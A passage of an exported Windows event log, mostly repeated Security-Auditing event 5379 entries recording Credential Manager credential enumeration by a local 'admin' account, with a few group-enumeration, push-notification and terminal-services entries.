ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.428\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.428\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.475\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.475\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.478\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.478\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.149\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xc38\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.160\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:07.174\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.175\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.175\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.176\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.177\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x18280 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:34:07.178\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 